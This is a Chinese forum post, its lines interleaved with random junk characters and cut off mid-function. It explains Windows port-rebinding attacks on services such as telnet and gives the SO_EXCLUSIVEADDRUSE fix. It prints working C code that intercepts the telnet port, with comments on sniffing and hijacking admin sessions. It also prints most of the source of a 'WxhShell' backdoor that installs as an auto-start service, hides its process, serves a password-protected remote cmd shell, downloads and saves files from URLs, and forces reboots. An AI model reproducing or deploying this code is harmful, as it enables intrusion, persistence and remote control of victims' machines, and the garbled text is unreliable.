在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
W=g'Xu!|!2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3 ;" [WOv }; 7I saddr.sin_family = AF_INET;
,gpEXUp\ |<3x`l-` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
C(h<s
e? "{+2Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hl0X,G+@ ]7TOA$Q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DC_uh k(7Q\JKE 这意味着什么?意味着可以进行如下的攻击:
]Hl{(v\HO LRWM}'.s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}M(xN6E ^uG^>Om* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^kC!a>& [;yH.wn#5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
569p/?
o,?G( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2[=3-1c C6F7,v62 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~s-gnp CvZ\Z472.j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
KkTE -$- fD(r/~Vu 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
m rsmul{ i?b9zn #include
`YwJ.E #include
)\D{5j #include
>l%8d'=Jl #include
Y+),c14# DWORD WINAPI ClientThread(LPVOID lpParam);
;!VxmZ:j[ int main()
j[R.UB3J {
4sORp^t'Q WORD wVersionRequested;
SWhzcqp DWORD ret;
5_](N$$ WSADATA wsaData;
=NY55t. BOOL val;
"P|n'Mx SOCKADDR_IN saddr;
ia_@fQ SOCKADDR_IN scaddr;
RR:%"4M int err;
?aWVfX!+G5 SOCKET s;
'nM4t SOCKET sc;
)=iv3nF?6N int caddsize;
<b *sn]l HANDLE mt;
9M($_2,44 DWORD tid;
:2M&C+f[ wVersionRequested = MAKEWORD( 2, 2 );
QD3tM5(Yr err = WSAStartup( wVersionRequested, &wsaData );
bW!
&n if ( err != 0 ) {
a:l-cZ/! printf("error!WSAStartup failed!\n");
YU8]W% return -1;
;/Z-|+!IJt }
|
?vm.zp saddr.sin_family = AF_INET;
eC%Skw Z- a //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Djc-f vK+reXE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
d8agM/F*/ saddr.sin_port = htons(23);
6|B9kh} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1,)
yEeHjU {
>w7KOVbN3
printf("error!socket failed!\n");
^<-r57pz return -1;
@q>Hl`a }
V7nOT*N:Q val = TRUE;
l"}_+5 //SO_REUSEADDR选项就是可以实现端口重绑定的
B K=w'1U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?$)5NQB% {
RzL(Gnb printf("error!setsockopt failed!\n");
|BZrV3;H return -1;
=+wd"Bu }
!dGu0wE
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
NNbdP;=:u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6(-s@{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3 1-p/ `?N0?; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
m }HaJ {
\B84 ret=GetLastError();
QM3DB printf("error!bind failed!\n");
6MY<6t0a return -1;
hchG\i }
m#8[")a$" listen(s,2);
7XyCl&Dc: while(1)
X|Y(* $?D7 {
_ pz} caddsize = sizeof(scaddr);
DZC@^k \E //接受连接请求
wxc#)W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
I-r+1gty if(sc!=INVALID_SOCKET)
K6-M .I {
|]@Pq[Hn| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3Y2~HuM if(mt==NULL)
rqmb<#
Z {
egG<"e*W}N printf("Thread Creat Failed!\n");
:yD>Tn;1 break;
&5R|{',(Y }
'n,V*9 }
bz#]>RD CloseHandle(mt);
=iKl<CqI$E }
cXqYO|3/M closesocket(s);
9!uiQ WSACleanup();
kq5X<'MM9N return 0;
]"{8"+x }
3rKJ<(-2/ DWORD WINAPI ClientThread(LPVOID lpParam)
*QiQ,~Ep {
1s.2z[B~ SOCKET ss = (SOCKET)lpParam;
9K`_P] l2z SOCKET sc;
0Z6geBMc unsigned char buf[4096];
I@9'd$YY SOCKADDR_IN saddr;
Is7BJf long num;
R'tKJ_VI DWORD val;
rniM[7K DWORD ret;
2NMs-Zs //如果是隐藏端口应用的话,可以在此处加一些判断
%k1Pyv;] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
u>"0>U
saddr.sin_family = AF_INET;
^r&)@R$V saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
7:<w)Al! saddr.sin_port = htons(23);
*$vH]>)p if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*|dr-e_j {
V9v20iX printf("error!socket failed!\n");
XhM!pSl\ return -1;
pzz*>Y }
I!S Eb val = 100;
!>`Fg>uy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@ps(3~?7 {
{jz`K1 ret = GetLastError();
bu]"?bc return -1;
Y!CUUWM }
DHWz, M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Fa )QDBz) {
*$<W"@%^J ret = GetLastError();
[^5;XD:%&l return -1;
}LT&BNZj }
dg24h7|] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%A$&9c% {
(6S'wb printf("error!socket connect failed!\n");
+1y$#~dl closesocket(sc);
c lB K closesocket(ss);
ccHf+= return -1;
zOs}v{8" }
'*b]$5*p while(1)
m|aK_ {
1[SG. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
06S
R74 //如果是嗅探内容的话,可以再此处进行内容分析和记录
r\;fyeH
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:D) (3U5 num = recv(ss,buf,4096,0);
xmvE*q"9] if(num>0)
HYfGu1j?X send(sc,buf,num,0);
m [B#k$ else if(num==0)
@vt.Db break;
X@\W*
nq num = recv(sc,buf,4096,0);
DpT9"?g7 if(num>0)
g|>LT_ send(ss,buf,num,0);
'k X8}bx else if(num==0)
H&)}Z6C" break;
PW5]+ |# }
Cd}^&z closesocket(ss);
\_
3>v5k| closesocket(sc);
AI.(}W4] return 0 ;
n:%4SZn }
!#c'|
*k by/H:5}7 }4A] x`3 ==========================================================
qSc-V`* ef7{D
P 下边附上一个代码,,WXhSHELL
x=oV!x 0ra'H/>Ly ==========================================================
SMX]JZmH N,Eap KG #include "stdafx.h"
hO=L|BJ?I . 5(YL8d #include <stdio.h>
K& #il #include <string.h>
I,{YxY[$7 #include <windows.h>
SO$Af!S:bB #include <winsock2.h>
LjI`$r.B #include <winsvc.h>
X8$i*#D #include <urlmon.h>
`x[Is$ 6O7s^d&K #pragma comment (lib, "Ws2_32.lib")
y7,I10:D #pragma comment (lib, "urlmon.lib")
=SfNA
F >rCD5#DG #define MAX_USER 100 // 最大客户端连接数
{o}U"b<+Ra #define BUF_SOCK 200 // sock buffer
y|5L%,i #define KEY_BUFF 255 // 输入 buffer
I=y7$+7% ><<>4(eF p #define REBOOT 0 // 重启
<\^0!v #define SHUTDOWN 1 // 关机
8 "l
PiW3 m\6/:~qWW #define DEF_PORT 5000 // 监听端口
}/cReX,so h'y%TOob #define REG_LEN 16 // 注册表键长度
X-c|jn7 #define SVC_LEN 80 // NT服务名长度
w4U,7%V
X Q#K1Z // 从dll定义API
0gd`W{YP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
vI{aF-
# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0MW W(
; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7n7Xyb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
XX8HSw!w 3uLG$`N // wxhshell配置信息
q+?<cjVg struct WSCFG {
{R}F4k int ws_port; // 监听端口
DB/~Z char ws_passstr[REG_LEN]; // 口令
mmTpF]t
?` int ws_autoins; // 安装标记, 1=yes 0=no
4q}+8F`0F char ws_regname[REG_LEN]; // 注册表键名
@J[@Pu O char ws_svcname[REG_LEN]; // 服务名
X1Yw=t~a char ws_svcdisp[SVC_LEN]; // 服务显示名
ldA_mj{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
hd3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
lPy|>&Yc int ws_downexe; // 下载执行标记, 1=yes 0=no
V8^la'_j char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~:ASv>m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
FK _ ZE> *w+'I*QSt~ };
+\eJxyO \SWTP1 // default Wxhshell configuration
*uc/| c struct WSCFG wscfg={DEF_PORT,
JrzPDb`m "xuhuanlingzhe",
PCviQ!X 1,
#e'>9T "Wxhshell",
dli(ckr "Wxhshell",
-?Cr&!*B "WxhShell Service",
n1sYD6u<& "Wrsky Windows CmdShell Service",
pbH!u+DF "Please Input Your Password: ",
jIol`WX 1,
Cj-s "
http://www.wrsky.com/wxhshell.exe",
7Ak<e tHD "Wxhshell.exe"
3s6obw$ki };
\ruQx)5M
Aa
~W, // 消息定义模块
m5K?oV@n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
9&lemz char *msg_ws_prompt="\n\r? for help\n\r#>";
r48|C{je- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Coi[cfg0 char *msg_ws_ext="\n\rExit.";
0<,{poMM char *msg_ws_end="\n\rQuit.";
mTZ/C#ir( char *msg_ws_boot="\n\rReboot...";
#l=yD]tPU char *msg_ws_poff="\n\rShutdown...";
1djZ5`+ char *msg_ws_down="\n\rSave to ";
6{h\CU}" {9@D zP char *msg_ws_err="\n\rErr!";
&6eo;8
`U char *msg_ws_ok="\n\rOK!";
2W,9HSu8 orGMzC 2 char ExeFile[MAX_PATH];
={g)[:(C. int nUser = 0;
}Fe6L;^; HANDLE handles[MAX_USER];
@{Rb]d?&F? int OsIsNt;
ZQ`8RF *v @j!,8JQEd SERVICE_STATUS serviceStatus;
n7[nl43 SERVICE_STATUS_HANDLE hServiceStatusHandle;
b>ai"! ,'8%'xit // 函数声明
roADC?@r int Install(void);
r w?wi}}gn int Uninstall(void);
6jq*lnA% int DownloadFile(char *sURL, SOCKET wsh);
aU!}j'5Q int Boot(int flag);
IZZAR void HideProc(void);
^'`b\$km-0 int GetOsVer(void);
c4H6I~2Na int Wxhshell(SOCKET wsl);
=7 l
uV_5 void TalkWithClient(void *cs);
Y2`sL,'h int CmdShell(SOCKET sock);
uo"<}>iJ int StartFromService(void);
1&w%TRC2x int StartWxhshell(LPSTR lpCmdLine);
7^gO>2~ gIB3DuUo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Od!)MQ*, VOID WINAPI NTServiceHandler( DWORD fdwControl );
IWv 9!lW IiPX`V>RC // 数据结构和表定义
[\8rh^LFi SERVICE_TABLE_ENTRY DispatchTable[] =
I9X\@lTf {
@6;OF5VsQ {wscfg.ws_svcname, NTServiceMain},
`<7\Zl {NULL, NULL}
]Lv P)0= };
S\GWMB!oF 8E%LhA. // 自我安装
(TZK~+]@sb int Install(void)
"qmSwdM {
odhcD;^X1 char svExeFile[MAX_PATH];
q/s-".%P HKEY key;
Z
RVt2 strcpy(svExeFile,ExeFile);
NI?O K#R]of~/ // 如果是win9x系统,修改注册表设为自启动
\{h_i
FU! if(!OsIsNt) {
Zbczbnj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vk7IqlEQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%1?t)Bg RegCloseKey(key);
Z(MZbzY7Hq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
CFpBosoFt^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j.=:S; RegCloseKey(key);
9Yt|Wj return 0;
'2lV(>" }
pDS[ecx }
2yfU]`qN }
lNX*s
E
. else {
MJ}{Q1|* FLmD?nw // 如果是NT以上系统,安装为系统服务
" MnWd BS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}&0LoW/ if (schSCManager!=0)
RY;V@\pRY+ {
5226&N SC_HANDLE schService = CreateService
|8` }8vo) (
ex>7f%\ schSCManager,
9\8ektq}Z wscfg.ws_svcname,
V( ELrjB0 wscfg.ws_svcdisp,
xlv(PVdn SERVICE_ALL_ACCESS,
Gu$/rb? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
cH_qHXi[G SERVICE_AUTO_START,
+`d92T z SERVICE_ERROR_NORMAL,
|f_'(-v`E svExeFile,
c.>f,vtcn NULL,
>Na. C(DZ NULL,
&M|rRd~* NULL,
5{=+S] NULL,
]]|#+$ ~ NULL
=M1}HF,7>l );
y[7M(K if (schService!=0)
3zsp6k V {
AXbb-GK CloseServiceHandle(schService);
tddwnpnSw CloseServiceHandle(schSCManager);
Z_GGH2u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
o*K7(yUL4 strcat(svExeFile,wscfg.ws_svcname);
0>Y3xNb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|k}<Zz1UM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8g-u RegCloseKey(key);
%n$f#Ml_r return 0;
[{Wo:c9Qq1 }
6FDj :~ }
"](Q2 CloseServiceHandle(schSCManager);
wR_mJMk_ }
<zXG}JuL@T }
/
&Z8g4vc "L.k
m return 1;
P%R!\i }
?s, oH @|A!?} // 自我卸载
Sh#N5kgD int Uninstall(void)
1uw1(iL+ {
.=:f]fs HKEY key;
A;8kC} jU-LT8y: if(!OsIsNt) {
3I 0pHP5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q
4Pv\YO RegDeleteValue(key,wscfg.ws_regname);
/ =9Y(v RegCloseKey(key);
X3sAy(q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(Z<@dkO?) RegDeleteValue(key,wscfg.ws_regname);
k<*v6
sNs; RegCloseKey(key);
JWHsTnB return 0;
#`y[75<n }
dOv\] }
DOyO`TJi }
M4Cb(QAVP else {
h1S)B|~8 (?Ko:0+* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ucv7`W
gr if (schSCManager!=0)
h] ho? K {
P4B|l: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
lL zR5445) if (schService!=0)
z#gebr~_\ {
{N]WVp*R if(DeleteService(schService)!=0) {
:?~)P!/xl5 CloseServiceHandle(schService);
d5-Q}D,P CloseServiceHandle(schSCManager);
}"+"nf5h return 0;
e/hCYoS1n }
yr'-;-u CloseServiceHandle(schService);
Xc[ym }
IhzY7U)}T CloseServiceHandle(schSCManager);
ou0TKE9
_ }
OcUj_Zd }
by1q"\-, NK|U:p2H return 1;
u>;aQtK~ }
r)~?5d YnnK]N;\x // 从指定url下载文件
r.)n>
int DownloadFile(char *sURL, SOCKET wsh)
!{*yWpZ: {
v8F{qT50 HRESULT hr;
qJF'KHyU{l char seps[]= "/";
oi`L ;w|] char *token;
W?SAa7+ char *file;
sDs.da#*2 char myURL[MAX_PATH];
ajkV"~w',| char myFILE[MAX_PATH];
+6>2= ,?Z xJ<RQCW$ strcpy(myURL,sURL);
mNC?kp token=strtok(myURL,seps);
1q;R+65 while(token!=NULL)
kYCm5g3u {
YKUAI+ks file=token;
1<~n2} token=strtok(NULL,seps);
<mP_K^9c }
0Gj/yra9MO a1_ N~4r` GetCurrentDirectory(MAX_PATH,myFILE);
()j)}F#Z` strcat(myFILE, "\\");
,X|FyO(p strcat(myFILE, file);
@[joM*U send(wsh,myFILE,strlen(myFILE),0);
w}6~t\9D send(wsh,"...",3,0);
\>4>sCC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'`k if(hr==S_OK)
ommW return 0;
c1kV}-v else
(XR}U6^v] return 1;
1/\Xngd `hY%HzV= }
B (eXWWT_ DEu0Z // 系统电源模块
!0^4D=dO int Boot(int flag)
CD`6R. {
c\[&IlM HANDLE hToken;
l9/}fMi TOKEN_PRIVILEGES tkp;
_"F=4`lJ E9k%:&]vd if(OsIsNt) {
+z9BWo!{I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|Zn;O6c#L5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"1""1"; tkp.PrivilegeCount = 1;
wY8Vc" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
GZ<@#~1%\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p-"wY?q
if(flag==REBOOT) {
"r;cH5 3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
E_30)"] return 0;
qm#?DSLap }
m; =S]3P* else {
(=rDt93J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E\Wd*,/v) return 0;
us5Zi# } }
K
HNU=k }
rp
@%0/[ else {
?r]0 %W^ if(flag==REBOOT) {
)w}'kih if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
S&=@Hj- return 0;
ZH=Bm^ }
zI"&g]TV5 else {
(j:[<U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P\[K)N/ 1 return 0;
gzK/ l: }
W@GU;Nr }
.0>bnw W|;`R{<I% return 1;
oT:wGBW }
SANbg&$ MS2/<LD3d // win9x进程隐藏模块
wBI:}N@. void HideProc(void)
IN;!s#cl: {
UC`sq-n ?3LV$S)U HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
uFuH/(}K[ if ( hKernel != NULL )
Pvv7|AV
{
mGwJ>'+d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1mh7fZgn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
k,OxGG FreeLibrary(hKernel);
\\Zsxya1 }
U1yspHiZ -hF!_);{ return;
oQVm)Bn'R }
oN83`Z d]_].D$ // 获取操作系统版本
o|n+;h
int GetOsVer(void)
Pr1OQbg]8 {
cjLA7I.O OSVERSIONINFO winfo;
\ z*<^ONq winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0jXDjk5'< GetVersionEx(&winfo);
qbD_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
H93ug1, return 1;
,rY}IwMw else
otdv;xI9 return 0;
GAR6nJCz }
Efd@\m:~> I?q-
:9: // 客户端句柄模块
E-9>lb int Wxhshell(SOCKET wsl)
~T._v;IT {
H11@ DQ6 SOCKET wsh;
fA V.Mj- struct sockaddr_in client;
FD8 DWORD myID;
't\sXN+1 pP\^bjI while(nUser<MAX_USER)
]]u_Mdk {
M.$=tuUL int nSize=sizeof(client);
] RVme^= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*=%`f= if(wsh==INVALID_SOCKET) return 1;
)C$Ij9<A pXNH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
DfOigLG* if(handles[nUser]==0)
:h0!giqoQ closesocket(wsh);
Qc
1mR\.5 else
%
5!Y#$:{o nUser++;
: T4ap_Ycq }
-|czhO)R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
MzW!iG .D=#HEshk return 0;
zs-,Y@ZL }
cnDBT3$~Z naY#`xig // 关闭 socket
v`jFWq8I, void CloseIt(SOCKET wsh)
WK SWOSJ {
mL@7,GD closesocket(wsh);
4%>tk 8 [ nUser--;
5B{Eg? ExitThread(0);
@nj`T{*. }
&4p~i Z ?G5,x // 客户端请求句柄
gF M~M( void TalkWithClient(void *cs)
>ZAn2s {
{mHxlG) "W}+~Sn SOCKET wsh=(SOCKET)cs;
kgX"I ?>d char pwd[SVC_LEN];
/5XdZu6k`h char cmd[KEY_BUFF];
0NSCeq%;6q char chr[1];
Je#3 int i,j;
lb)i0`AN+ ',Oc+jLR while (nUser < MAX_USER) {
pAtxEaXh FxX nX if(wscfg.ws_passstr) {
]`@<I'?,X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ehX4[j6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KXo[;Db)k //ZeroMemory(pwd,KEY_BUFF);
{*Qx^e`h$. i=0;
6A} 45 while(i<SVC_LEN) {
y|#Fu \FIOFbwe // 设置超时
z)FGbX fd_set FdRead;
1Dm$:),^T} struct timeval TimeOut;
rIj B{X{Z FD_ZERO(&FdRead);
({t6Cbw FD_SET(wsh,&FdRead);
( 2KopL TimeOut.tv_sec=8;
I \6^]pi, TimeOut.tv_usec=0;
B{Lzgw u; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l'\m'Ioh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tH4+S?PI QJH~YV\% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
IkLcL8P^ pwd
=chr[0]; E-#}.}i5
if(chr[0]==0xd || chr[0]==0xa) { a&`Lfw"
pwd=0; )}\J
break; T!H }^v
} W%}zwQ
i++; k?Iq 6
} 0~nub
MJ@PAwv"
// 如果是非法用户,关闭 socket rge/qUr/^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :LR>U;2
} )G|'PXI@,
(DKQHL;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iC<qWq|S_m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
+r]2.
Jpo(O>\P
while(1) { ?7aeY5p
WNV}@
ZeroMemory(cmd,KEY_BUFF); 0a's[>-'A
Dn.%+im-u
// 自动支持客户端 telnet标准 Y X{F$BM
j=0; =&?BPhJE
while(j<KEY_BUFF) { zO)3MC7l*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )L7h:%h#
cmd[j]=chr[0]; bX&=*L+h6
if(chr[0]==0xa || chr[0]==0xd) { jL#`CD
cmd[j]=0; Bjsg!^X7
break; \w@ "`!%
} (,
uW-
j++; Md1ePp]
} a"X9cU[
BP0*`TY
// 下载文件 s\
YHT.O?
if(strstr(cmd,"http://")) { hdH}4W
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /.[78:G\,
if(DownloadFile(cmd,wsh)) n ]P,5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]hi5nA
else j |ZhGerp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JE/Kf<
} !&vPG>V
else { (%iCP/E3
eq$.np
switch(cmd[0]) { |Skhx9};
kG3m1: :
// 帮助 Zm/I &
case '?': { 2G BE=T
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .OSFLY#[?
break; IX 2 dic'
} =$Sd2UD
// 安装 Q)\4 .d
case 'i': { p6W|4_a?
if(Install()) `-82u :"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J0x)NnWJ
else Meo.
V|1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /~;om\7r
break; D1f}g
} w|8T6W|w
// 卸载 ORo,.#<
case 'r': { (<xl _L:*.
if(Uninstall()) xr1,D5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TKZ[H$Z
else W(,3j{d2i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _T.k/a
break; 5}"9)LT@@w
} EHX/XM
// 显示 wxhshell 所在路径 }w/6"MJ[n
case 'p': { 4,qhWe`/
char svExeFile[MAX_PATH]; jq12,R2+)
strcpy(svExeFile,"\n\r"); JY6^pC}*
strcat(svExeFile,ExeFile); :c`Gh< u
send(wsh,svExeFile,strlen(svExeFile),0); vAjvW&'g
break; (E]q>'X
} ~~X-$rtU
// 重启 i5jsM\1j
case 'b': { 2N[/Cc2Tg/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q2~@z-q)b
if(Boot(REBOOT)) Alpk5o5B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ='<789wT
else { QNm8`1
closesocket(wsh); Ud'/
9:P
ExitThread(0); `ehcj
G1nY
} i9j#Tu93 f
break; fu $<*Sa2
} <#F@OU
// 关机 TnQ"c)ta
case 'd': { |kh7F0';"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J>p6')Y6~
if(Boot(SHUTDOWN)) ;dZuO[4\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B
42t
else { B0|!s
closesocket(wsh); }GL@?kAGR5
ExitThread(0); zX}t1:nc
} g=]VQ;{
break; <3C/t|s
} 2c1L[]h'
// 获取shell u+5MrS[
case 's': { OV,t|
CmdShell(wsh); fuF!3Q
closesocket(wsh); 3
G_0DS
ExitThread(0); 6w)a.^yx7
break; xSy`VuSl
} P:&X1MC
// 退出 = 4 wf
case 'x': { ="J *v>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YML]pNB
CloseIt(wsh); bfXyuv
break; u4vyj#V
} uJ
T^=Y
// 离开 iqr/MB,W
case 'q': { omzG/)M:O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); K26`wt
closesocket(wsh); x
?24oO
WSACleanup(); 1U6z2i+y
exit(1); _kXq0~
break; K$/&C:,Q
} &$g{i:)Z
}
liU8OXBl
} &OsO _F
<sli!rv
// 提示信息 F(KsB5OY?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w?:tce
} @A'@%Zv-
} ?!HU$>
u N8RG_Mb
return; W.CbNou
} d J>~
cp$GP*{@
// shell模块句柄 "Tz'j}< 9C
int CmdShell(SOCKET sock) Fj4>)!^kM
{ *WaqNMD[%
STARTUPINFO si; N> xdX5
ZeroMemory(&si,sizeof(si)); j9xu21'!%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )k.}>0K |
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5XoM)
PROCESS_INFORMATION ProcessInfo; h?'~/@
char cmdline[]="cmd"; `3yK<-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z@,[a
return 0; sm"s2Ci=}
} ,0a\Ka{^
( 4(,"
// 自身启动模式 "fu:hHq
int StartFromService(void) fPPC`d&Q3
{ ir|c<~_=
typedef struct Kk`LuS?
{ 1]69S(
DWORD ExitStatus; +}R#mco5K
DWORD PebBaseAddress; -nXlW
DWORD AffinityMask; }Xvm(
;
DWORD BasePriority; %+^Qs\j
